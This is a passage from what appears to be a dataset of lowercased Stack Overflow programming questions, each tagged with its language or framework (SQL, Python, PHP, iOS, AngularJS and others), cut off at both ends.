);  // b         chars.push ( c );  // c         chars.push ( d );  // d         chars.push ( e );  // e         chars.push ( f );  // f         chars.push ( g );  // g         chars.push ( h );  // h         chars.push ( i );  // i         chars.push ( j );  // j         chars.push ( k );  // k         chars.push ( l );  // l         chars.push ( m );  // m         chars.push ( n );  // n         chars.push ( o );  // o         chars.push ( p );  // p         chars.push ( q );  // q         chars.push ( r );  // r         chars.push ( s );  // s         chars.push ( t );  // t         chars.push ( u );  // u         chars.push ( v );  // v         chars.push ( w );  // w         chars.push ( x );  // x         chars.push ( y );  // y         chars.push ( z );  // z         chars.push (defaults.space);  // [         chars.push (defaults.space);  // /         chars.push (defaults.space);  // ]         chars.push (  );   // ^         chars.push (defaults.space);  // _         chars.push (  );   // `         chars.push ( a );  // a         chars.push ( b );  // b         chars.push ( c );  // c         chars.push ( d );  // d         chars.push ( e );  // e         chars.push ( f );  // f         chars.push ( g );  // g         chars.push ( h );  // h         chars.push ( i );  // i         chars.push ( j );  // j         chars.push ( k );  // k         chars.push ( l );  // l         chars.push ( m );  // m         chars.push ( n );  // n         chars.push ( o );  // o         chars.push ( p );  // p         chars.push ( q );  // q         chars.push ( r );  // r         chars.push ( s );  // s         chars.push ( t );  // t         chars.push ( u );  // u         chars.push ( v );  // v         chars.push ( w );  // w         chars.push ( x );  // x         chars.push ( y );  // y         chars.push ( z );  // z         chars.push ( z );          chars.push ( z );           for (var i = 256; i &lt; 100; i++) {             chars.push (  );         }          var stringtoslug = new string (); //create a stringtoslug string object         for (var i = 0; i &lt; text.length; i ++) {             stringtoslug += chars[text.charcodeat (i)]; //insert values converts at slugs         }          stringtoslug = stringtoslug.replace (new regexp ( \\ +defaults.space+ {2 }    gmi )  defaults.space); // remove any space character followed by breakfast         stringtoslug = stringtoslug.replace (new regexp ( (^ +defaults.space+ )|( +defaults.space+ $)    gmi )    ); // remove the space at the beginning or end of string          stringtoslug = stringtoslug.tolowercase(); //convert your slug in lowercase                jquery(defaults.getput).val(stringtoslug); //write in value to input fields (input text  textarea  input hidden  ...)         jquery(defaults.getput).html(stringtoslug); //write in html tags (span  p  strong  h1  ...)           return this;     });    return this; } </code></pre>,jquery
how to retrieve images path from database and display images path in thumbnail like photo gallery in iphone  i am new to iphone programming.i have stored images path in database.now i want to retrieve that images path and after that using that path i want to display images in thumbnail like photo gallery images.and i can able retrieve that images path from database i have stored that images path in array now i want to display all images in thumbnail how to do this.can any body help me.    thanks,iphone
sql replies with multiple replies  i do apologize and i am willing to edit the name of this  didn t know the best way to title this.    i have a table <code>table_1</code> (1 column) with unique values (combo names) that i am trying to pass as a condition to another table <code>table_2</code> that has 2 sets of uids (one is the combo uid and the other is component uid  both are in table 3 as items) that needs to pull from a third table <code>table_3</code> with the names of <code>table_1</code> and uids of <code>table_2</code>.    i know that is really complicated! or at least it is for me...    my query returns duplicate information because i think i am passing the same information back on to itself...    my sql looks like this:   <pre><code>select i.item_id as combo_kit_id  c.item_id as component_item_id from table_3 i  inner join table_1 t on i.item_id = t.item_id  inner join table_2 a on i.item_uid = a.assembly_uid inner join table_3 c on a.component_uid = c.item_uid </code></pre>   table_1:   <pre><code>| item_id | ---------- |  ca123  | |  ca124  | |  ca125  | |  ca126  | |  ca127  | |  ca128  | |  ca129  | --------- </code></pre>   table_2:   <pre><code>| assembly_uid | component_uid | -------------------------------- |   1234       |      2234     | |   1234       |      2235     | |   1236       |      2236     | |   1236       |      2237     | |   1239       |      2238     | |   1239       |      2239     | |   1243       |      2242     | |   1243       |      2288     | -------------------------------- </code></pre>   table_3:   <pre><code>| item_id |   item_uid  | ------------------------- | ca123   |    1234     | | ca124   |    1236     | | ca125   |    1239     | | ca126   |    1243     | | ca127   |    2234     | | ca128   |    2235     | | ca129   |    2236     | | ca130   |    2237     | | ca131   |    2238     | | ca132   |    2239     | | ca133   |    2242     | | ca134   |    2288     | ------------------------- </code></pre>   my result is:   <pre><code>| combo_kit_id | component_item_id | ----------------------------------- |  ca123      |   ca127      | |  ca123      |   ca127      | |  ca123      |   ca128      | |  ca123      |   ca128      | |  ca124      |   ca129      | |  ca124      |   ca129      | |  ca124      |   ca130      | |  ca124      |   ca130      | |  ca125      |   ca131      | |  ca125      |   ca131      | |  ca125      |   ca132      | |  ca125      |   ca132      | ------------------------------ </code></pre>   is there a way not to get the added duplicates,sql
difference between date and current date  if statement   i have a table with four columns:    <ul> <li>id; </li> <li>datefrom; </li> <li>dateto; </li> <li>user id.</li> </ul>   i need to calculate the difference between datefrom and dateto (datefrom-dateto) in hours  add this difference into additional column. the main thing is that some cells of dateto are empty. in this case i should take  dateto  as current date and time.    the second thing is to add column with if statment. if the difference between datefrom and dateto more than 3 hours than 1  else 0.    now i can calculate only differences in hours. the main problem is with empty cells and additional column with statement when hours more than 3   <pre><code>select id  datefrom  dateto  userid  (datefrom-dateto) as hours  from table  order by id </code></pre>   <a href= https://i.stack.imgur.com/hxpau.jpg  rel= nofollow noreferrer >enter image description here</a>,sql
reading integers into an array c++  i m trying to read a file called numbers.txt and insert the integers into an array. my code outputs only the last integer in the file.   <pre><code>//numbers.txt 1 10 7 23 9 3 12 5 2 32 6 42 </code></pre>   my code:   <pre><code>int main(){ ifstream myreadfile; myreadfile.open( /users/simanshrestha/dev/priorityqueue/priorityqueue/numbers.txt ); char output[100]; int count = 0; if (myreadfile.is_open()) {     while (!myreadfile.eof()) {         myreadfile &gt;&gt; output;         //cout&lt;&lt; output &lt;&lt; endl;         count++;     }     for(int i=0;i&lt;count;i++)     {         cout &lt;&lt; output[i];     }     cout&lt;&lt;endl; } cout &lt;&lt;  number of lines:   &lt;&lt; count&lt;&lt; endl; myreadfile.close(); return 0; } </code></pre>,c++
handle null value to default in catch or initialization  i have a method that could return <code>nullpointer</code> and in this case  a default <strong>0.0</strong> value must be used.    i m wondering if there are differences between    <pre><code>double a=0.0; try{   a=somemethod(); catch(nullpointerexception exc){ } return a; </code></pre>   and   <pre><code>double a; try{   a=somemethod(); catch(nullpointerexception exc){   a=0.0; } return a; </code></pre>   if yes what is the best approach      note:    <code>somemethod()</code> is just a sample  really it is a method of a library that i cannot edit or fix to avoid <code>nullpointer</code> at the source so i must use catch block.,java
failed to update auto layout status / failed to render instance  i try to run friend old app that written in objective c .    my friend develop this in xcode 5  i try to run this app in 7.3.1 .    i get this error:    file:///users/myname/desktop/myapp%20test%201/after%20coca%20update/myapp/base.lproj/main.storyboard: error: ib designables: failed to update auto layout status: the agent raised a  nsinternalinconsistencyexception  exception: could not load nib in bundle:  nsbundle  (loaded)  with name  myappstepper     file:///users/myname/desktop/myapp%20test%201/after%20coca%20update/myapp/base.lproj/main.storyboard: error: ib designables: failed to render instance of myappstepper: the agent threw an exception.,objective-c
equivalent number to find exact match between two sets  i am writing a program where i have a set of number 123456789 and words abcdefghi. now if a user enters any number its equivalent letter should show up in the result. can someone guide me on how to approach this question.     for ex: user entry of 1352 should result in aceb,c#
how to make asynchronous call using nsthread  i have made one list of images + respective data in tableview. it takes long time while loading i want to make multithreading two methods    1> <strong>parsing of data</strong>    2> <strong>parsing of images</strong>    i want to execute <strong>parsing of data</strong> first after that i can select any of rows listed even though images not been loaded(/parsed) because the images is parsed after the parsing of data and it takes long time.    from where should i call these both the methods. and how enable the selection on row after parsing of the data... how to do multithread both the methods    waiting for your great responce    thanking in advance,iphone
what to use   or   when coding <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/242766/when-did-single-quotes-in-html-become-so-popular >when did single quotes in html become so popular </a>    </blockquote>     should i use <code> </code> or <code> </code> when coding  for example <code>width= 100px </code> or <code>width= 100px </code>.  is it only a matter of taste  or does it matter to the browsers      the reason why i ask  i have always used <code>  </code> for everything  so when i code with php  i have to escape like this:   <pre><code>echo  &lt;table width=\ 100px\&gt;  ; </code></pre>   but i ve found out that i will probably save 2 minutes per day if i do this:   <pre><code>echo  &lt;table width= 100px &gt;  </code></pre>   fewer key strokes. of course i could also do this:   <pre><code>echo  &lt;table width= 100px &gt;  </code></pre>   what should the html look like;  option1  or  option2,html
has_many thorugh need properties of through class  i have three models:   <pre><code>user id  name  ...   has_many :user_books   has_many :books  through: :user_books  books id  name  author    has_many :user_books  userbooks id  user_id  book_id  has_read  rating   belongs_to :user   belongs_to :book </code></pre>   okay so this is the setting. when i do user.books  i get a collection of books  but can t access the properties(book.name book.author) that are set in userbooks such as has_read  rating etc.     how do i read both the books and userbooks,ruby-on-rails
use variable in mailto hyperlink in asp.net  i want to use a variable declared in my .cs page(c#) as cc to mailto  but dont know how to use. please help.   <pre><code>in default.aspx.cs page: var code=cc@test.com;  in default.aspx page:   &lt;asp:hyperlink id= hyperlink5  runat= server  navigateurl= mailto:to@test.com subject=hi&amp;cc=code  tooltip= submit  target= _blank &gt;mail&lt;/asp:hyperlink&gt; </code></pre>,asp.net
basic html file showing blank page  i just started learning html from bindner s book (a student s guide to the study  practice  and tools of modern mathematics)  which has a chapter on it.    i wrote the code    <pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt; my page &lt;\title&gt; &lt;\head&gt; &lt;body&gt; &lt;p&gt; hello everyone!   &lt;\p&gt; &lt;\body&gt; &lt;\html&gt; </code></pre>   in notepad++ and saved it as  <code>my site.html</code>. but when i opened it in browser  a blank page shows up. what am i doing wrong,html
ios  creating a business object in a loop  adding it to array  i am a .net and java programmer doing ios  thought i should mention that ( maybe i am biased to business objects  classes)... anyway.    i have some objects streaming in as json  i want to have them all inputted into an array  i created a simple class to represent this object and initialize its properties .    bizobject.h   <pre><code>   @interface bizobject : nsobject    @property (readwrite  copy) nsstring* back;    @property (readwrite  copy) nsstring* front;    @end </code></pre>   bizobject.m   <pre><code> #import  bizobject.h   @implementation bizobject  @synthesize front  back;  //no init method  don t know if i need one !!  @end </code></pre>   now when i get the json entry  i do this    <pre><code>  nsmutablearray *temparray = [nsjsonserialization   jsonobjectwithdata:jsondata   options:nsjsonreadingallowfragments   error:&amp;error];   if (!temparray) {      nslog(@ error parsing json: %@   error);   } else {    for(nsdictionary *tempbizobject in temparray) {   bizobject * newbizobject = [[bizobject alloc] init];      [newbizobject setback: [tempbizobject valueforkey:@ back ]];      [newbizobject setfront:[tempbizobject valueforkey:@ front ]];      [bizobjectsarray addobject:newbizobject];   } } for(bizobject *bizobject in bizobjectsarray) {    nslog(@ back: %@   bizobject.back);    nslog(@ fron: %@   bizobject.front); } </code></pre>   i have some questions here :     1 : anything wrong with this kind of setup      2 : i am getting this error    <pre><code>  malloc: *** error for object 0x165060: pointer being freed was not allocated </code></pre>   3 : is this an overkill for just creating an array of object  all of its properties are just strings      thanks everyone for your help.,ios
dynamic css active class on ul li reflect according to url changes using angualar js  dynamic css class active applied on li while clickin on li and each li contain link.but if we open a link then dynamic css class  active not working properly. so how can i develop that type of functionality like after book mark perticular li link then when we open that link its need to be selected.    html    <pre><code>  &lt;ul&gt;         &lt;li ng-repeat= item in items  ng-class= { glyphicon glyphicon-menu-down  : item.selected   glyphicon glyphicon-menu-right  : !item.selected}  style= display: block;line-height:20px; &gt;             &lt;span ng-click= showchilds($index) &gt;{{item.name}}&lt;/span&gt;             &lt;ul&gt;                 &lt;li ng-click= showglyph(subitem);  class= sub-item  id= sub-item-{{$parent.$index}}{{$index}}  ng-class= { glyphicon glyphicon-envelope  : subitem.active}  ng-repeat= subitem in item.subitems  ng-show= item.selected &gt;  &lt;a ui-sref= {{subitem.url}} &gt;                     &lt;span&gt;{{subitem.name}}&lt;/span&gt;                 &lt;/li&gt;             &lt;/ul&gt;         &lt;/li&gt;    &lt;/ul&gt; </code></pre>   javacript controller   <pre><code> $scope.showglyph = function(subitem) {             angular.foreach($scope.items  function (item) {                 angular.foreach(item.subitems  function (sitem) {                     sitem.active = false;                 });             });             subitem.active = true;         };          $scope.showchilds = function(index){              $scope.items[index].selected= !$scope.items[index].selected;             collapseanother(index);          };         var collapseanother = function(index){             for(var i=0; i&lt;$scope.items.length; i++){                 if(i!=index){                     $scope.items[i].selected = false;                 }             }         };         $scope.items = [             {                 name:  item1                   subitems: [                     {name:  subitem1   url: user.create }                      {name:  subitem2   url: user.edit }                 ]             }              {                 name:  item2                   subitems: [                     {name:  subitem3  url: user.new }                      {name:  subitem4  url: user.old }                      {name:  subitem5    url: user.newnew }                 ]             }              {                 name:  item3                   subitems: [                     {name:  subitem6    url: user.oldold }                 ]             }         ]; </code></pre>,angularjs
adding custom directive on click of button in angular js <pre><code>var testmodule = angular.module( testmodule  []); testmodule.directive( addvehicle  function() {     return {         restrict:  a           scope: false          link: function(scope  instanceelement  attributes) {             instanceelement.on( click  function() {                 angular.element(document.getelementbyid( vehicles )).append( &lt;vehicle-table&gt;&lt;/vehicle-table&gt; );             });         }     } }); testmodule.directive( vehicletable  function() {     return {         restrict:  e           template:  &lt;table class= vehicletable &gt;  +                  &lt;tr&gt;&lt;td class= vehicledata &gt;&lt;select&gt;&lt;/select&gt;&lt;/td&gt;&lt;/tr&gt;  +                  &lt;tr&gt;&lt;td class= vehicledata &gt;&lt;input type= text &gt;&lt;/td&gt;&lt;/tr&gt;   +                  &lt;tr&gt;&lt;td class= vehicledataend &gt;&lt;input type= text &gt;&lt;/td&gt;&lt;/tr&gt;  +                  &lt;/table&gt;      } }); </code></pre>   above is my angular js fragment.when i click addvehicle(this is attribute of button element) i get the vehicletable only as a tag but not as its template getting inserted in the dom. what could be wrong here,angularjs
specific file extension moving error  i ve written a small script with the purpose of searching the entire c:\ of any specific file extension and copying it to a folder of your choosing:   <pre><code>import os import shutil   def move_all_ext(extension  source_root  dest_dir):     # recursively walk source_root     for (dirpath  dirnames  filenames) in os.walk(source_root):         # loop through the files in current dirpath         for filename in filenames:             # check file extension             if os.path.splitext(filename)[-1] == extension:                 print( copying file: %s  % filename)                 # move file                 shutil.copy(os.path.join(dirpath  filename)  os.path.join(dest_dir  filename))    print( welcome to the file find/copy module\n ) print( you will be asked to enter a directory name and the file type that you want to copy\n ) # prompt new folder name print( enter new directory name: ) newdir = input() print( enter the file extension (.pdf  .txt  etc..) ) fileext = input()  # file directory path os.makedirs(os.path.join( c:\\users\\nick\\documents\\   newdir))  # move all specific files from c:\ to c:\users\nick\documents\ move_all_ext( .  + fileext   c:\\   os.path.join( c:\\users\\nick\\documents\\   newdir)) </code></pre>   while running the script i have a few errors that i don t fully understand:   <pre><code>traceback (most recent call last):   file  c:\users\nick\documents\programming\python\ext_copy_dest.py   line 36  in &lt;module&gt;      move_all_ext( .  + fileext   c:\\   os.path.join( c:\\users\\nick\\documents\\   newdir))   file   c:\users\nick\documents\programming\python\ext_copy_dest.py   line  20  in move_all_ext      shutil.copy(os.path.join(dirpath  filename)  os.path.join(dest_dir  filename))   file   c:\users\nick\appdata\local\programs\python\python35-32\lib\shutil.py    line 235  in copy      copyfile(src  dst  follow_symlinks=follow_symlinks)   file  c:\users\nick\appdata\local\programs\python\python35-32\lib\shutil.py    line 115  in copyfile      with open(dst   wb ) as fdst: permissionerror: [errno 13] permission denied:  c:\\users\\nick\\documents\\pdf\\readme.txt  </code></pre>   i m assuming its a problem with a symlink  is there a way to write an if statement to ignore any  permission denied  issues,python
how to let the app load with default.png only when it is launched from scratch   example: my default.png image shows the start screen of my app with an empty interface. when the app is launched from scratch the first time  this is cool. it appears like it started quickly. but when the user quits it and the app just goes to background  and then the user opens it  this sucks. then i always end up with a wrong  snapshot  as launch image and my app then looks completely different after launch because it is like it was left the last time.    i would have to disable the default.png when my app just goes to background  or i would have to enable it when it gets really terminated. any way to do this,iphone
encapsulation object_c file to people use but not see the source code <pre><code>i am new iphone develop  in android  we can put all java file to encapsulate a jar file so that user not see the source code only using my public methods. </code></pre>   but the jar have a drawback it not using the xml file if i have a layout we only using code finish it not using xml.so my question in iphone if have a effect seems to jar it can encapsulate all files but user not see it   if yes  if i can using xib file finish layout or only using code finish layout.thank you.,iphone
how can i make my function work with my if statement that changes my array  in the script below i have an array. my array stores all the links  titles and descriptions from a web page. but i want to make sure that if there is no description  it will use the first 20 characters of a p tag using a function which works. only problem is i have the jigsaw pieces and just can t seem to put them together  so i want my if statement to show that if the description is empty to use the function getword instead of <code>getmetas()</code>.   <pre><code>function getmetas($link) {   $str1 = file_get_contents($link);       if (strlen($str1)&gt;0) {     preg_match_all(  /&lt;meta.* name=( |\ )description( |\ ).* content=( |\ )(.* )( |\ )/i   $str1  $description);     if (count($description) &gt; 1) {       return $description[4];        }   } } </code></pre>   then my function goes here (<code>get_custom_excert</code>)  but there is no need to see that as i know that works.   <pre><code>function getword() {   $html = file_get_contents($link);       preg_match( %(&lt;p[^&gt;]*&gt;.* &lt;/p&gt;)%i   $html  $re);   $res = get_custom_excerpt($re[1]); }  $outputs = array();  foreach ($links as $thislink) {   $output[] = array( link  =&gt; $thislink   title  =&gt; titles($thislink)   description  =&gt; getmetas($thislink));    if ($output[ description ] == null) {   $output[ description ] = getword($res);   }    $outputs[] = $output; }  print_r($output); </code></pre>,php
how to check condition on check box click   i am trying to check the condition of checkboxes.for making checkbox i use button.i changed there sizes and provide image as checked or unchecked on their click method.now i have two checkboxes.now i am trying to store array value on the bases of checkbox clicked.i mean that when i click check box the specific value of the array store in the string and if i uncheck then the value of string set to null. for that i did:   <pre><code>-(void) checkboxisacitiveclicked {     nslog(@ check box button clicked );     if( [uiimage imagenamed:@ checkbox_ticked.png ])     {         isactivestr=[arraypickerdata objectatindex:17];         nslog(@  is active value is %@ is fetched succesfuly  isactivestr);         [commonvar setisactivestrdata:isactivestr];         nslog(@  is active value send to cmmon class %@ sent succesfuly  isactivestr);     }     else     {         nslog(@ no vlaue send );         isactivestr=nil;         [commonvar setisactivestrdata:isactivestr];         nslog(@  is active value send to cmmon class %@ sent succesfuly  isactivestr);     } } </code></pre>   1)commonvar is my common class 2)setisactivestrdata is my class method in commonvar class 3)isactivestr is my nsmutablestring. 4)arraypickerdata is my nsmutablearray now i dont know how to check the condition that button image is checked.png or unchecked.png please help me thank you,iphone
how to display local notification message in uilabel   i need to display local notification message on the label. i know the syntax on how to handle notification when the app is running.    like this on my appdelegate.m     <pre><code>- (void)application:(uiapplication *)app didreceivelocalnotification:(uilocalnotification *)notif {  nslog(@ recieved notification %@  notif);   } </code></pre>   looks fine  and i can get the log info. how to display the message in the label from the appdelegate . ex like this.   <pre><code>- (void)application:(uiapplication *)app didreceivelocalnotification:(uilocalnotification *)notif {  nslog(@ recieved notification %@  notif);  //like this concept messagelabel.text = fromnotificationmessage;  } </code></pre>   please help me. i am interested in ios programming. how to do that,ios
assigning range values to a data table  suppose i have two strings of 6 values (think of them as lower and upper bound limits of coordinates):   <pre><code>lo_values = c(1  10  20  30  40  50) hi_values = c(9  19  29  39  49  60) </code></pre>   and suppose i have a data table with 6 columns consisting of 3 possible values (b  l  t):   <pre><code>row1 = c(t  l  l  l  t  b) row2 = c(b  b  b  t  t  t) </code></pre>   etc...    i would like to write a script that uses the lo_ and hi_values and assign them to each row based on the inputs in the data table. so for example  row1 would be:    <pre><code>row1 -&gt; (1-9 = t  10-39 = l  40-49 = t  50-60 = b)  </code></pre>   similarly  row2 would be:    <pre><code>row2 -&gt; (1-29 = b  30-60 = t).  </code></pre>   i m having a hard time thinking of an appropriate way to program this. any help would be appreciated.,python
recursive python programming  all of the posts i can find on this only talk about recursion of subroutines within the program.    is it possible to call the entire program again after the program has finished the first time round     i need this for a client-server configuration so when the server has finished sharing information  it starts waiting for connections again from a different source.    i know it would be possible to do this with oop quite easily  however i have already coded my server without it  and i feel getting this to work is an easier solution.    for example...    ... code that executes once ...    ... code that executes once ...    ... code that executes once ...    def placeholder():    ... code in the subroutine ...    def placeholdertwo():    ... code in the subroutine ...    placeholder()    placeholdertwo()    ** the whole program runs again from the first  code that executes once  **,python
css cascading term  the cascading term in css is related to the fact that having more style sources combine them together or only to the fact to the conflict order resolution     thanks,css
sql to select unique domain count for my subscribers   i am trying to identify the number of subscribers i have from each domain  yahoo  google  aol....    here is what i came up with but it is not grouping as i thought it would   <pre><code>select substring(emailaddress  patindex( %@%   emailaddress) +1  len(emailaddress) -patindex( %@%   emailaddress)) as [domain]  count(substring(emailaddress  patindex( %@%   emailaddress) +1  len(emailaddress) - patindex( %@%   emailaddress))) as [count] from subscribers group by emailaddress </code></pre>   the results look like this   <pre><code>yahoo.com   1 gmail.com   1 yahoo.com   1 </code></pre>   i want something more like this   <pre><code>yahoo.com   2 gmail.com   1 </code></pre>,sql
global scope not workin within php function  i have an (imho) really weird problem. i declared configuration variables in a configuration file and want to acces these variables from within a function on the same page. this function will make a soap call to a service to fetch some data.    i include this configuration file on various pages  but when i acces the function  the variables are empty  even when i declare a global score. my (simplified) code looks like this:    config.php   <pre><code> // set environment  $environment =  dev ;   switch($environment){       case  dev :            $username =  dev ;            $client = new soapclient( http://dev.domain.com/wsdl wsdl   array( trace  =&gt; 1   exceptions  =&gt; 0));       break;       case  prod ;            $username =  prod ;            $client = new soapclient( http://prod.domain.com/wsdl wsdl   array( trace  =&gt; 1   exceptions  =&gt; 0));       break;       default:            $username =  prod ;            $client = new soapclient( http://prod.domain.com/wsdl wsdl   array( trace  =&gt; 1   exceptions  =&gt; 0));  }   function fetch_data($request_id){       global $username;        $xml_post_string =              &lt;soapenv:envelope xmlns:soapenv= http://schemas.xmlsoap.org/soap/envelope/  xmlns:ver= https://domain.com &gt;                 &lt;soapenv:header/&gt;                 &lt;soapenv:body&gt;                      &lt;ver:options&gt;                           &lt;ver:rid&gt; .$request_id. &lt;/ver:rid&gt;                           &lt;ver:uid&gt; .$username. &lt;/ver:uid&gt;                      &lt;/ver:options&gt;                 &lt;/soapenv:body&gt;            &lt;/soapenv:envelope&gt;        ;        echo  &lt;pre&gt; ;       echo  var:  .$username; // = empty       echo  &lt;/pre&gt; ;        // curl headers       $headers = array(             content-type: text/xml;charset=\ utf-8\                accept: text/xml               cache-control: no-cache               pragma: no-cache               soapaction:  https://domain.com               content-length:  .strlen($xml_post_string)        );        // curl options       $ch = curl_init();       curl_setopt($ch  curlopt_ssl_verifypeer  0);       curl_setopt($ch  curlopt_url   https://domain.com/call wsdl );       curl_setopt($ch  curlopt_returntransfer  true);       curl_setopt($ch  curlopt_timeout  10);       curl_setopt($ch  curlopt_post  true);       curl_setopt($ch  curlopt_postfields  $xml_post_string); // the soap request       curl_setopt($ch  curlopt_httpheader  $headers);        // execute curl call       $response = curl_exec($ch); // = credential error  } </code></pre>   on page.php i include &amp; call the function like this:   <pre><code> require_once( config.php );   [..]   $response = fetch_data( 1 ); </code></pre>   when i type the username in the xml string i get the response i want  but when i use the variable (as in the example) i get an empty value for <code>$username</code>.    but why     <strong>edit:</strong> changed <code>exit;</code> to <code>break;</code> and added process &amp; output example    ** edit 2:** the code between the [..]   <pre><code> require_once( config.php );   global $current_user  $wp_query;   $user                                                       = wp_get_current_user();   $user_meta                                                  = get_user_meta($user-&gt;data-&gt;id   exid );  $user_member_number                                         = trim($user_meta[0]);   // set locale for date notation  setlocale(lc_all   nl_nl );   $policy_id                                                  = $_get[ polis ];   $customer_call = array(        options  =&gt; array(             credentials  =&gt; array(                  userid                                      =&gt; $username // normally more credentials like password are required as well            )       )  );  $customer_response                                          = $client-&gt;fetchcustomer($customer_call);   $member_details                                             = $customer_response-&gt;fetchcustomerresult-&gt;result-&gt;platformcustomer;   $product_call = array(        options  =&gt; array(             credentials  =&gt; array(                  userid                                      =&gt; $username // normally more credentials like password are required as well            )       )   );  $product_response                                           = $client-&gt;fetchproduct($product_call);    if($product_response-&gt;fetchproductresult-&gt;succeeded){       // extract results       $product_info                                          = $product_response-&gt;fetchproductresult-&gt;result;        // differentiate product response  depending on the ammount of rows returned       if($product_info-&gt;summarizedproductinfo &gt;= 2){            $products                                         = $product_response-&gt;fetchproductresult-&gt;result-&gt;summary;       }else{            $products                                         = $product_response-&gt;fetchproductresult-&gt;result;       }        // policy numbers for given user (for authentication purpose)       $member_active_policies                                = array();        // iterate through policies and write policy number to array       foreach($products as $product){             array_push($member_active_policies  $product-&gt;policynumber);       }        // check if requested polis belongs to user       if(in_array($policy_id  $member_active_policies)){            // iterate through products to find the requested            foreach($products as $product){                 if($product-&gt;policynumber == $policy_id){                       // set member variables  all with prefix $member_                       // set product variables  all with prefix $product_                       // fetch information about other members                      $all_members                            = fetch_data(1)-&gt;getproductinfo; </code></pre>,php
difference between axd and ashx handlers  what is the difference betweeen axd and ashx handlers.,asp.net
hangman with arrays in python 3.2 <pre><code>import random  gamewords = [ computer    python    ruby    delphi    laptop    ideals    perl ] #program will pick a word to use word = random.randint(0 6) chosenword = gamewords[word]  chosenword = list(chosenword)     #this will generate a playfield playfield =  _  * len(chosenword) playfield = list(playfield)   #array for bad guesses badguess =  _  * len(chosenword) * 2 badguess = list(badguess) print(  bad guesses   badguess) print( \n hidden word    playfield  end =   )  #get the number of letters in the word wordlength = len(chosenword)  #give two times the number of letters in a word for guessing.  numchances = wordlength * 2 print(  ) print( \n number of chances   numchances) print( \n this is number of letters in word   wordlength   \n )  #need a loop for the guess  flag = true goodcounter = 0 b = 0  while flag == true:      #input a player s guess into two diffrent arrays     #array for bad guess one for good guess     playerguess = input( \n guess a letter:  )     playerguess = playerguess.upper()      #player cannot enter more than one letter     if len(playerguess) != 1:         print( please enter a single letter. )      #if the player do not enter a letter     elif playerguess not in  abcdefghijklmnopqrstuvwxyz :         print( please enter a letter. )      #if the player guess wrong     # b is used for indexing         elif playerguess not in chosenword:                 for b in range(0):                                 if chosenword[b] != playerguess:                 badguess[b] = playerguess                 b = b + 1         print( this is b   b)                 print( you have guessed wrong )         print( letters you have missed   badguess)          numchances = numchances - 1         print( you have   numchances   left! )          if numchances == 0:             flag = false             print( you have lost! )         else:             flag = true      #if the player guess correctly     # i is used for indexing      elif playerguess in chosenword:         for i in range(wordlength):             if chosenword[i] == playerguess:                 playfield[i] = playerguess         print( \n letters you have hit!    playfield  end =   )         print( you have guessed correctly )                goodcounter = goodcounter + 1           if goodcounter &gt;= wordlength:             flag = false             print( you have won! )         else:             flag = true </code></pre>   now i have a new problem my badguess array will not display the letters on the play field. i tried to use the same code i used for the playfield array but it did not work.     what do i need to do to get the bad guesses to be stored in the badguess array and display on the play field,python
html-html code inside textbox  so basiclly  all i need to do is have a textbox on my website that displays html code for a picture in it.  i m not sure how to do this without having it display the picture within the textbox.  i am scripting in html 4    *i want the code for the image to be displayed  not the image    for example   <pre><code>&lt;input type=text value= my code here &gt; </code></pre>   i have tried   <pre><code>&lt;input type=text value= &lt;img src= logo100x100.png &gt; &gt; </code></pre>,html
is it possible to import a function as a class method   i m wondering if this is even possible.     let s say  there are two files.     in a.py:   <pre><code>class a() </code></pre>   in b.py:   <pre><code>def x():   def y(): </code></pre>   i d like to import a function x() from b.py to a.py s class a so that the class a has a method x.    so that i can use like this   <pre><code>test = a() test.x() </code></pre>   thank you!,python
asp.net form submission from standard html submit and no javascript  can you do a form submission to a different page in asp.net without using a cross page postback  from a non asp.net control  and with no javascript!     *im using asp.net with a global form in the masterpage    *my site needs to work with no javascript and i want to avoid url paramaters.    *i m using an  which will open up a new page for a particular record in my application.    *i want to use the name of the input button to get the recordid to edit and post it to a new page using http post as opposed to an url param.    can this be done!,asp.net
using multiple custom uitableviewcells in uitableview  please go throgh the link  <a href= https://stackoverflow.com/questions/6982419/using-multiple-custom-uitableviewcells >using multiple custom uitableviewcells</a>   <pre><code>- (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath{     return nil; } </code></pre>   here  i have not understand why you have added  return nil before the end of the braces.,objective-c
in asp.net mvc4 using javascript  when the button is clicked the date and time should store into the database using mvc4 and javascript.    i got the date but this should be stored in database can you help me  this is my view page:   <pre><code>&lt;html&gt; &lt;head&gt; &lt;script type= text/javascript &gt;  var date = new date();     alert(date); } &lt;/script&gt; &lt;/head&gt; &lt;body&gt;     &lt;input type= submit  value= click  name= click  onclick= myclick(); /&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,.net
need help traversing though my linked list. it works fine if there is only one entree  but not multiples. what do i need to fix  <pre><code>struct movie {     struct movie* next;     char name[100];     int rating;     genre type; } *list = null;  struct movie* search(struct movie* movie) {     // code here     while (list != null) {         if (strcmp(movie-&gt;name  list-&gt;name) == 0) {             movie-&gt;rating = list-&gt;rating;             return;         } else {             list = list-&gt;next;               }         return null;     } } </code></pre>   dont need to post any of the other code`,c
mysql connection in sleep status but client never receives data and times out  we have an important program written in java which keeps a persistant connection to a mysql-database. starting this monday  a lot of our customers reports problems when starting the program  as it first loads a long customer list from the database. what really puzzels us is that we get the error on some computers  but not on others  even in our own office! what happens is  the method getcustomers is called. i can then in the mysql console see that the select query gets processed with status  writing to net . then the connection goes back to  sleep  status after some seconds  normally 5-10-15 depending on the number of rows. on some computers everything is now ok  but on others  even though the connection went back to  sleep  status on the server  nothing happens on the client side  until after 2 minutes the loading is aborted by the normal 2-minute-timeout and the following exception is thrown:   <pre><code>java.net.sockettimeoutexception: read timed out     at java.net.socketinputstream.socketread0(native method)     at java.net.socketinputstream.read(unknown source)     at java.net.socketinputstream.read(unknown source)     at com.mysql.jdbc.util.readaheadinputstream.fill(readaheadinputstream.java:105)     at com.mysql.jdbc.util.readaheadinputstream.readfromunderlyingstreamifnecessary(readaheadinputstream.java:148)     at com.mysql.jdbc.util.readaheadinputstream.read(readaheadinputstream.java:176)     at com.mysql.jdbc.mysqlio.readfully(mysqlio.java:1899)     at com.mysql.jdbc.mysqlio.readpacket(mysqlio.java:481)     at com.mysql.jdbc.mysqlio.readallresults(mysqlio.java:1410)     at com.mysql.jdbc.serverpreparedstatement.serverexecute(serverpreparedstatement.java:1133)     at com.mysql.jdbc.serverpreparedstatement.executeinternal(serverpreparedstatement.java:670)     at 